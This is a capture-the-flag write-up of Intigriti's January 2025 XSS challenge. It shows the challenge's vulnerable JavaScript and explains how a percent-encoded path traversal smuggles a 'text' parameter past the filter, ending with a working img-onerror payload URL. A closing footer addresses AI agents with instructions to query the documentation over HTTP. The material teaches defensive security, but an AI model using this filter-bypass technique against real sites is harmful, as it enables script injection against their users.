# 0125: Particle Generator

| Name                                                                      | Authors                                 | Category                         |
| ------------------------------------------------------------------------- | --------------------------------------- | -------------------------------- |
| [Intigriti January Challenge (2025)](https://challenge-0125.intigriti.io) | [Godson](https://twitter.com/0xGodson_) | URL Parsing, Path Traversal, XSS |

## Video Walkthrough

[![](https://img.youtube.com/vi/Lt5hS-q2DqY/0.jpg)](https://www.youtube.com/watch?v=Lt5hS-q2DqY)

## Challenge Description

> Pop an alert and win Intigriti swag! 🏆

## Useful Resources

* [Path traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/README.md)
* [XSS cheatsheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

## Solution

Here's the challenge source code. I've excluded the irrelevant functionality, e.g. `generateFallingParticles`, which is just for animation.

### source.js

```js
function XSS() {
    return (
        decodeURIComponent(window.location.search).includes("<") ||
        decodeURIComponent(window.location.search).includes(">") ||
        decodeURIComponent(window.location.hash).includes("<") ||
        decodeURIComponent(window.location.hash).includes(">")
    );
}
function getParameterByName(name) {
    var url = window.location.href;
    name = name.replace(/[\[\]]/g, "\\$&");
    var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)");
    results = regex.exec(url);
    if (!results) return null;
    if (!results[2]) return "";
    return decodeURIComponent(results[2].replace(/\+/g, " "));
}

// Function to redirect on form submit
function redirectToText(event) {
    event.preventDefault();
    const inputBox = document.getElementById("inputBox");
    const text = encodeURIComponent(inputBox.value);
    window.location.href = `/challenge?text=${text}`;
}

// Function to display modal if 'text' query param exists
function checkQueryParam() {
    const text = getParameterByName("text");
    if (text && XSS() === false) {
        const modal = document.getElementById("modal");
        const modalText = document.getElementById("modalText");
        modalText.innerHTML = `Welcome, ${text}!`;
        textForm.remove();
        modal.style.display = "flex";
    }
}

// Function to close the modal
function closeModal() {
    location.replace("/challenge");
}

window.onload = function () {
    checkQueryParam();
};
```

Let's trace through in order of execution:

* When the page loads, `checkQueryParm()` is called
* A `text` parameter is extracted from the URL using a custom function; `getParameterByName`
  * Square brackets (`[]`) are escaped in the parameter name.. I'm not sure why?
  * Regex ensures the `text` parameter is supplied *after* a `?` or `&` character (ensuring it is part of the query string), e.g. `?text=CryptoCat` or `&text=CryptoCat`
  * It also captures everything after the `=` in the query string with `(=([^&#]*)|&|#|$)`, which matches any sequence of characters up to:
    * `&` (next parameter)
    * `#` (start of a fragment)
    * `$` (end of the string)
  * The extracted query value undergoes two final operations, before being returned:
    * `+` symbols are replaced with a `[space]`
    * The string is URL-decoded
* Next, an `XSS()` function checks if the **URL-decoded** query string (`window.location.search`) or fragment identifier (`window.location.hash`) contain any angular brackets (`<>`)
* Providing they do not, `modal.innerHTML` will be set to the `text` parameter (this is our dangerous sink)
* One final thing to mention; when we submit the form it executes a `redirectToText()` function which URL-encodes the textbox input and redirects the browser to the new path, e.g. `/challenge?text=CryptoCat`

TLDR; we can't place our XSS payload in the `window.location.search` or `window.location.hash` due to the XSS filter.

However, `getParameterName` performs regex on the entire URL (`window.location.href`), so maybe we can inject elsewhere without tripping the `XSS()` detector.

Note that since the `window.location.search` is validated, we can't use `?` in the query string, e.g.

```js
"https://challenge-0125.intigriti.io/challenge?text=CryptoCat";
window.location.search;
("?text=CryptoCat");
```

*However*, the custom `getParameterName` function extracts queries that become with `?` *or* `&`, so what if we try like:

```js
"https://challenge-0125.intigriti.io/challenge&text=CryptoCat";
window.location.search;
("");
```

Nice! So it won't trip the filter *but* the page is 404! If we change the URL to include a `?` first, it will load e.g.

```js
"https://challenge-0125.intigriti.io/challenge?cat=lol&text=CryptoCat";
window.location.search;
("?cat=lol&text=CryptoCat");
```

But now we have the same problem that our payload will be filtered!

This is where path traversal comes in! We can provide our payload in the path of the URL, but apply some traversal such that the URL resolves to the same endpoint! Let's verify the behaviour:

```
https://challenge-0125.intigriti.io/challenge/&text=CryptoCat%2f..%2f..
```

We are returned to the `/` directory, so the traversal indeed works! Let's check the console.

```js
window.location.search;
("");

window.location.pathname;
("/challenge/&text=CryptoCat%2f..%2f..");
```

Perfect! We have smuggled our parameter in the path, all we need now is to replace it with an XSS payload (careful to URL encode characters due to normalisation).

```
https://challenge-0125.intigriti.io/challenge/&text=%3Cimg%20src=x%20onerror=alert(document.domain)%3E%2f..
```

Note: this was made possible due to the fact the backend server decodes the URL path before routing it. Originally, the creator wanted me to host the challenge on GitHub Pages due to this default behaviour. Instead, we implemented the same functionality via `nginx`.

## Community Writeups

1. [JorenVerheyen](https://jorenverheyen.github.io/intigriti-january-2025.html)
2. [excile](https://gist.github.com/excile1/556a088cccf294f91cdb2d98bad6fb75)
3. [cedricm](https://gist.github.com/cedric-msn/bf303e795a7280681dbcf88fe09261d2)
4. [frevadiscor](https://hackmd.io/@frevadiscor/S1yLguevyx)
5. [tit4n](https://abdulhaq.me/blog/intigritis-january-challenge-writeup)
6. [illegalfreedom](https://abhinavkuamr.github.io/securityBlogs/post/intigriti-january-challenge-2025---xss-challenge)
7. [b0ffm4n](https://gist.github.com/boffman/98578150cc87e70a3c53d27b02dfb338)
8. [silverpoison](https://silverpoision.github.io/posts/intigriti-challenge-solution0125)
9. [s3bsrt](https://gist.github.com/sebastianosrt/fb0c3153a57b111a00e940776b32913d)
10. [phlm0x](https://medium.com/@phlmox/intigritis-xss-challenge-0125-writeup-1e4bf0f64518)
11. [gam0v3r](https://game0v3r.vercel.app/blog/intigriti-jan-xss-challenge)
12. [siss3l](https://gist.github.com/Siss3l/70e1c09477b60a5998322e229822095b)
13. [zimzi](https://zimzi.substack.com/p/intigritis-january-challenge-trustfoundry)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://bugology.intigriti.io/intigriti-monthly-challenges/0125.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
